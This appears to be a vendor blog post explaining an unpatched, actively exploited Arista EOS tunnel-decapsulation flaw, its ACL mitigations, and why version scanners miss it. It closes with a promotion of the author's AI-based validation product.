Arista EOS CVE-2026-7473: An Exploited Bug With No Patch Coming

There is a category of advisory that breaks the assumptions every vulnerability program is built on. CVE-2026-7473 is one of them. It is on the CISA Known Exploited Vulnerabilities catalog, added on 9 June 2026 with a federal remediation deadline of 23 June. It is being exploited in the wild against production network infrastructure. And Arista has stated, in Security Advisory 0137, that no software upgrade path is planned to fix it. The KEV entry says "remediate by 23 June." The vendor says "there is nothing to install." Both are true at the same time, and that contradiction is the whole story.

What CVE-2026-7473 actually does

Arista EOS is the network operating system on Arista's switching platforms — the spine-and-leaf fabric inside a large share of hyperscale and enterprise data centres. The flaw lives in how EOS handles tunnel decapsulation. When a switch is configured as a tunnel endpoint — VXLAN, a GRE tunnel interface, or a decap-group with a decapsulation IP — it is supposed to accept and unwrap a specific tunnel protocol arriving at that IP. CVE-2026-7473 is the discovery that it does not check which protocol it received.

Per the NVD record, the switch "will incorrectly decapsulate and forward other unexpected tunneled packets with a destination IP matching its configured decapsulation IP" because it never verifies the tunnel protocol type. The classification is CWE-1023, Incomplete Comparison with Missing Factors: the device compares the destination IP and forwards on a match, but the protocol type — the factor that should have gated the operation — is simply absent from the comparison.

The mechanics are mundane. The consequence is not. Any remote, unauthenticated attacker who can route a packet to the decapsulation IP can craft a tunneled packet of any protocol, have the switch strip the outer header, and inject the inner payload onto the internal forwarding path. The affected hardware spans the 7020R, 7280R/R2 and 7500R/R2 series, with certain scenarios reaching the 7280R3, 7500R3 and 7800R3 lines, across EOS 4.30 and earlier and the 4.31–4.36 trains. The CVSS scores are deliberately modest — 5.8 on CVSS v3.1, 6.8 on v4.0 — and that modesty is exactly the trap, because the impact is not measured in the score. It is measured in what the injected packet reaches.

Why "no patch" is the real Arista EOS story

The novel part of this advisory is not the protocol confusion. It is the resolution. As SecurityWeek reported, Arista's position is that "no software upgrade path is planned to address this issue due to the risk of breaking existing configuration on deployments." Enforcing strict protocol-type validation on decapsulation would, on a meaningful number of live fabrics, drop traffic those fabrics currently depend on. So the fix that exists in principle is not being shipped as an upgrade. The remediation is configuration, not code:

• Apply ingress control-plane and data-plane ACLs that permit only the expected tunnel protocol toward the decapsulation IP and drop everything else.
• Restrict reachability of the tunnel-termination IP to known peer routers, using infrastructure ACLs or uRPF where the platform supports it.

This is what an unpatchable vulnerability looks like in 2026. Not a zero-day waiting on a vendor, but a known, KEV-listed, actively-exploited flaw whose only resolution is a hand-built mitigation that each operator has to design, deploy, and — critically — get correct on their own fabric. There is no version number that turns the dashboard green. The remediation state is not "patched / unpatched." It is "did the ACL you wrote actually drop the protocol you didn't expect, on every decap IP, on every device?"

The blind spot: why scanners and patch dashboards both miss it

Walk through how a conventional vulnerability-management stack handles CVE-2026-7473, and you find it fails twice.

A version-based scanner — Tenable, Qualys, Rapid7, the engine inside most VM programs — answers one question: is the installed software version below the fixed version? For this CVE there is no fixed version. Arista is not shipping one. So the scanner has nothing to compare against and nothing to flag. The asset reports clean.

A patch-management workflow fails for the same reason from the other direction: there is no patch to stage, test, and roll out. The remediation ticket, if one is even opened, has no artifact to attach. It closes as "mitigation applied" — and "mitigation applied" is an assertion, not a measurement.

Question your tooling answers	What it tells you about CVE-2026-7473
Is the EOS version below the fixed release?	Nothing — there is no fixed release
Is there a patch available to deploy?	No — remediation is configuration only
Was a mitigation ACL committed to the config?	Maybe — but a committed ACL is not a verified one
Does the decap IP still forward an unexpected protocol?	This is the only question that matters, and no version scanner asks it

The CISA deadline of 23 June pushes federal agencies — and, by gravitational pull, everyone who treats KEV as a baseline — to "remediate." But remediation here is unverifiable by the tools most organisations use to prove it. You can mark the ticket done and still be exploitable, because the only evidence that your mitigation works is a packet that should be dropped actually being dropped.

"We're compliant — the change ticket shows the ingress ACL went in on the 16th." "On which devices?" "The fabric spines." "Including the two 7280R2s the network team rebuilt last quarter from the old template — the one written before the advisory?" "...I'd have to check." The exploit doesn't check. It sends the packet.

What an attacker does with a one-way segmentation bypass

The reason this medium-CVSS bug is on KEV is what the bypass unlocks. Network segmentation is the control that says traffic from segment A cannot reach segment B unless a policy permits it — the wall between the corporate VLAN and the OT network, between general workloads and the cardholder-data environment, between tenants on a shared fabric. CVE-2026-7473 lets an attacker tunnel straight through that wall by addressing the decapsulation IP and letting the switch deliver the inner packet onto the trusted side.

The attacker does not need credentials, a foothold on the switch, or a separate exploit. They need reachability to the decap IP and a crafted tunnel header. Once the inner payload lands on the internal forwarding path, it arrives looking like legitimate east-west traffic — already past the boundary the segmentation design assumed was solid. From there the playbook is ordinary: reach a management interface that was "only reachable from inside," pivot into a PCI or ICS segment that compliance attestations describe as isolated, stage data from a host that was supposed to be unreachable. The segmentation diagram in the audit binder still shows the wall. The wall has a tunnel through it.

This is the failure mode that makes the "no patch" framing dangerous. Organisations will read "mitigation available," apply something, and move the asset to remediated. The diagram won't change. The attestation won't change. Only the traffic will — and only if someone is watching the traffic for an inner packet that arrived where the topology says it could not.

Continuous validation is the only way to know

Everything above points at one operational truth: for CVE-2026-7473, the question "are we exposed?" cannot be answered by a version number, a patch record, or a config diff. It can only be answered by sending the packet the advisory describes and observing whether the switch forwards it. That is a behavioural test of the live fabric, run continuously, not a quarterly snapshot — and it is the gap Zero Hunt was built to close.

Zero Hunt's 10-agent AI swarm validates the behaviour of the environment, not the inventory of its software. Faced with this class of flaw, the Recon and Pivot agents map every tunnel-termination IP on the fabric, and the Exploit agent generates a per-target probe — a crafted decapsulation packet specific to your topology, written locally rather than pulled from a static signature database — to determine whether the inner payload actually crosses the segmentation boundary. The answer is not "the ACL is in the config." The answer is "on this device, right now, an unexpected protocol either does or does not reach the trusted side." Every new asset on the perimeter, or any configuration change to a decap-group, triggers a fresh campaign within the hour — so a switch rebuilt from a pre-advisory template is re-tested the moment it appears, not at the next audit. Each finding is ECDSA-signed at write time, which turns "mitigation applied" from an assertion into verifiable, chain-of-custody evidence an auditor or a regulator can check against the KEV deadline.

And because the exploit succeeds only when traffic crosses a boundary it should not, the AI Traffic Analysis layer is the second net underneath. Its deep-learning model — four inference heads running at multi-gigabit line rate on the appliance GPU, with no cloud callback — is trained to flag exactly this: a tunneled or inner packet appearing on a segment whose historical baseline says that source-to-destination path never existed. When a version scanner is structurally blind and a patch will never ship, the only durable defences are testing the real behaviour before an attacker does, and watching the wire for the moment the wall is breached. CVE-2026-7473 is the case study for why "patched" and "not exploitable" stopped being the same sentence.